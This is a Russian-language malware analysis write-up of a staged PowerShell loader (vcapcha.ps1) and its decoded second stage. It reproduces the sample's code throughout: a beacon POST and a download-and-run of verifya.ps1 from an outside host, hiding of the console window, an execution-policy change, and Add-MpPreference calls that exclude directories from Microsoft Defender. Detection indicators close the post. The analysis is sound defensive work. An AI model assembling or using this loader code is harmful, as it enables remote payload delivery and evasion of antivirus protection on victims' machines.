Введение
При анализе очередной цепочки PowerShell мне попался файл vcapcha.ps1. Само имя ничего особо интересного не говорит, поэтому сначала я посмотрел, что происходит непосредственно при запуске. Внутри оказался не какой-то сложный загрузчик с обфускацией, а достаточно прямолинейная цепочка: скрипт сообщает удалённому серверу о своём запуске, минимизирует окно PowerShell, скачивает следующий .ps1, сохраняет его во временный каталог и запускает. Дальше цепочка становится интереснее. Загруженный этап проверяет настройки Microsoft Defender и добавляет собственные каталоги в ExclusionPath. В результате получается вполне конкретная последовательность: сначала установить связь с сервером, затем получить следующий код и подготовить для него место, которое не будет проверяться Defender.
Первый этап — сообщение о запуске
В начале vcapcha.ps1 находится отдельный блок:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 $deviceId = [Convert]::ToBase64String( [System.Text.Encoding]::UTF8.GetBytes( $env:COMPUTERNAME + (Get-Date).Ticks ) ).Substring(0, 16) $body = @{ event = "script_execution" deviceId = $deviceId timestamp = (Get-Date -Format "o") } | ConvertTo-Json Invoke-WebRequest ` -Uri "https://richardkemick.com/reportv.php" ` -Method POST ` -ContentType "application/json" ` -Body $body
Перед выполнением основной логики скрипт формирует JSON и отправляет его на:
https://richardkemick.com/reportv.php
Структура сообщения простая:
{ "event": "script_execution", "deviceId": "...", "timestamp": "..." }
deviceId здесь не является каким-то постоянным идентификатором машины. Скрипт берёт имя компьютера, добавляет текущее значение Ticks, кодирует полученную строку в Base64 и оставляет первые 16 символов. То есть сервер получает как минимум информацию о том, что скрипт был запущен, идентификатор, сформированный из имени компьютера и времени запуска, а также временную метку. Сам запрос выполняется через Invoke-WebRequest с POST и Content-Type: application/json.
Интересно и то, что ошибка отправки не останавливает дальнейшее выполнение. Весь блок находится внутри try/catch, а в catch просто выводится сообщение:
Write-Host "Debug: Failed to report script_execution ..."
Получается, сервер здесь не является обязательным условием продолжения работы загрузчика.
Скрытие окна PowerShell
Следующим действием скрипт получает дескриптор собственного окна:
$consolePtr = [System.Diagnostics.Process]::GetCurrentProcess().MainWindowHandle
После этого динамически объявляется небольшой класс с вызовом WinAPI:
[DllImport("user32.dll")] public static extern bool ShowWindow( IntPtr hWnd, int nCmdShow );
И окно минимизируется:
[WinAPI]::ShowWindow($consolePtr, 2)
Значение 2 соответствует состоянию SW_SHOWMINIMIZED. Здесь нет сложного механизма сокрытия процесса. PowerShell остаётся обычным powershell.exe, просто его консольное окно переводится в минимизированное состояние. Для анализа это хороший признак: внутри скрипта присутствует попытка сделать выполнение менее заметным для пользователя.
Получение следующего этапа
Дальше находится уже непосредственно загрузчик:
$url = "https://richardkemick.com/verifya.ps1" $tempScriptPath = "$env:TEMP\verify_script.ps1" $response = Invoke-WebRequest ` -Uri $url ` -UseBasicParsing ` -ErrorAction Stop
Следующий PowerShell-код получается с:
https://richardkemick.com/verifya.ps1
После загрузки автор сохраняет его в:
%TEMP%\verify_script.ps1
Далее содержимое записывается на диск:
Set-Content ` -Path $tempScriptPath ` -Value $scriptContent ` -Encoding UTF8
То есть на этом этапе цепочка выглядит так:
vcapcha.ps1 | | HTTPS GET v verifya.ps1 | | save v %TEMP%\verify_script.ps1
Это уже классический staged-подход: первый скрипт содержит минимальную логику и получает следующую часть с удалённого сервера. При этом в самом vcapcha.ps1 конечная полезная нагрузка отсутствует. Поэтому если смотреть только этот файл, нельзя говорить о том, что именно делает конечный компонент. Для этого нужно исследовать содержимое verifya.ps1.
Работа с Execution Policy
Перед запуском скачанного файла скрипт дополнительно проверяет текущую политику PowerShell:
$executionPolicy = Get-ExecutionPolicy if ($executionPolicy -eq "Restricted" -or $executionPolicy -eq "AllSigned") { Set-ExecutionPolicy ` -Scope CurrentUser ` -ExecutionPolicy RemoteSigned ` -Force }
Если политика установлена в Restricted или AllSigned, скрипт пытается изменить её для текущего пользователя на RemoteSigned. Здесь важно разделять две вещи!!!
В самой командной строке, которая запускает данный образец, может использоваться:
-ExecutionPolicy Bypass
Это позволяет запустить текущий PowerShell без применения обычной политики выполнения. А Set-ExecutionPolicy внутри скрипта уже изменяет сохранённую настройку для CurrentUser. То есть автор предусмотрел оба варианта: текущий процесс запускается с обходом политики, а затем дополнительно меняется пользовательская настройка PowerShell.
Запуск скачанного файла
После сохранения выполняется проверка:
if (Test-Path $tempScriptPath) { ... & $tempScriptPath }
Оператор & запускает сохранённый PowerShell-файл. Перед этим автор даже выводит первые пять строк загруженного скрипта:
$scriptContentPreview = Get-Content $tempScriptPath -First 5 Write-Host $scriptContentPreview
Для вредоносного кода это выглядит немного необычно и больше похоже на отладочный вариант загрузчика. В коде вообще много сообщений Debug:.После завершения выполнения временный файл удаляется:
finally { if (Test-Path $tempScriptPath) { Remove-Item $tempScriptPath ` -Force ` -ErrorAction SilentlyContinue } }
Таким образом, после выполнения на диске не должен оставаться сам verify_script.ps1, если удаление прошло успешно.
Что делает следующий этап
На этом месте я перешёл к следующей части цепочки. Полученный PowerShell запускается с параметрами:
-NoProfile -ExecutionPolicy Bypass -EncodedCommand ...
После декодирования EncodedCommand там находится уже другая логика.
Первое, что бросается в глаза:
$targets = @( 'C:\Users\admin\AppData\Local\Programs\FolderSvc', 'C:\Users\admin\AppData\Local\Programs\SearchNow' )
Скрипт заранее определяет два каталога, которые должны использоваться дальше. Затем он получает текущие исключения Microsoft Defender:
$exclusions = Get-MpPreference | Select-Object -ExpandProperty ExclusionPath
После этого пути нормализуются:
$normalizedExclusions = $exclusions | ForEach-Object { $_.TrimEnd('\') }
И для каждого каталога из $targets выполняется проверка. Если путь уже находится среди исключений, скрипт ничего не делает. Если его нет, выполняется:
Add-MpPreference ` -ExclusionPath $target ` -ErrorAction Stop
То есть в системе создаются исключения Microsoft Defender для:
C:\Users\admin\AppData\Local\Programs\FolderSvc C:\Users\admin\AppData\Local\Programs\SearchNow
Это уже наиболее важная часть всей цепочки.
Зачем нужны исключения Defender
Само по себе создание каталога ещё ничего не говорит о вредоносности. Но добавление каталога в ExclusionPath имеет совершенно конкретный смысл: Microsoft Defender не должен выполнять обычную проверку содержимого этого пути. В рассматриваемой цепочке это происходит перед дальнейшим использованием каталогов. Получается следующая логика:
получить следующий этап | v определить рабочие каталоги | v проверить ExclusionPath Defender | +---- путь уже есть | | | v | ничего не делать | +---- пути нет | v Add-MpPreference | v каталог исключён из проверки
Для загрузчика это вполне практичный способ подготовить окружение перед размещением или запуском следующих компонентов.
Маркер выполнения
После обработки исключений скрипт создаёт файл:
C:\Users\admin\AppData\Local\Programs\FolderSvc\Cache\excl.txt
Для этого используется:
New-Item ` -Path $markerFile ` -ItemType File ` -Force ` -ErrorAction SilentlyContinue
Сам файл практически пустой. Его ценность заключается не в содержимом, а в факте существования. Таким образом, excl.txt может выступать простым маркером: текущий этап уже выполнялся и каталоги Defender были обработаны.
Интересный момент с логированием
В коде также присутствуют переменные:
$logFile = 'C:\\Users\\marks\\source\\repos\\ProtectEvaluate\\bin\\x64\\Release\\defender_check.log'
и функция:
function Log-Info { param([string]$Message) # Logging disabled - do nothing }
То есть автор оставил в скрипте инфраструктуру для логирования, но фактически она отключена.
Все вызовы:
Log-Info "..."
не приводят ни к какой записи на диск. Сам путь ProtectEvaluate выглядит как след отладочной или тестовой среды разработчика. При этом в исполняемой логике он не используется.
Что получилось в итоге
Если собрать все найденные действия вместе, получается довольно компактная цепочка:
vcapcha.ps1 | +--> POST /reportv.php | | | +--> event: script_execution | +--> deviceId | +--> timestamp | +--> минимизация окна PowerShell | +--> GET /verifya.ps1 | +--> %TEMP%\verify_script.ps1 | +--> запуск verify_script.ps1 | +--> удаление временного файла | v следующий PowerShell | +--> Get-MpPreference | +--> проверка ExclusionPath | +--> Add-MpPreference | | | +--> FolderSvc | +--> SearchNow | +--> создание excl.txt
Меня здесь заинтересовал именно переход между этапами. vcapcha.ps1 сам по себе не содержит большой полезной нагрузки. Его задача — связать несколько действий: уведомить сервер о запуске, получить следующий код и передать ему управление. А уже следующий PowerShell занимается изменением настроек Microsoft Defender.
При этом есть ещё одна деталь: первый скрипт удаляет скачанный файл из %TEMP% после выполнения. Поэтому если анализировать систему только после завершения цепочки, часть артефактов первого этапа уже может отсутствовать.
Что искать при динамическом анализе
Если такую цепочку запускать в песочнице, я бы в первую очередь смотрел на несколько событий.
В сетевой активности — обращения к:
richardkemick.com /reportv.php /verifya.ps1
Отдельно стоит посмотреть тело POST-запроса на reportv.php, поскольку там передаются event, deviceId и timestamp. В процессах интересен powershell.exe с -EncodedCommand, а также дочерние процессы, которые появятся уже после выполнения verifya.ps1.
В файловой системе стоит отслеживать:
%TEMP%\verify_script.ps1 C:\Users\admin\AppData\Local\Programs\FolderSvc\ C:\Users\admin\AppData\Local\Programs\SearchNow\ C:\Users\admin\AppData\Local\Programs\FolderSvc\Cache\excl.txt
И отдельно — изменение настроек Defender. Самым характерным событием здесь будет вызов Add-MpPreference с параметром -ExclusionPath.
Вывод
В этом образце интересна не какая-то сложная обфускация, а сама организация цепочки.
vcapcha.ps1 выступает загрузчиком первого уровня. После запуска он отправляет информацию о выполнении на удалённый сервер, минимизирует своё окно, получает verifya.ps1, сохраняет его во временный каталог и запускает.
Следующий этап уже меняет окружение Windows: проверяет существующие исключения Defender и при необходимости добавляет туда два каталога — FolderSvc и SearchNow. После этого создаётся excl.txt, который может использоваться как маркер успешного выполнения.
То есть на исследуемом участке цепочка выглядит достаточно прозрачно:
уведомление → загрузка следующего этапа → выполнение → изменение настроек Defender → подготовка каталогов для дальнейшей работы.
Именно поэтому при анализе подобных PowerShell-файлов я бы не ограничивался самим .ps1. В данном случае самая важная часть находится не внутри vcapcha.ps1, а за URL verifya.ps1 — именно там начинается следующая стадия цепочки.

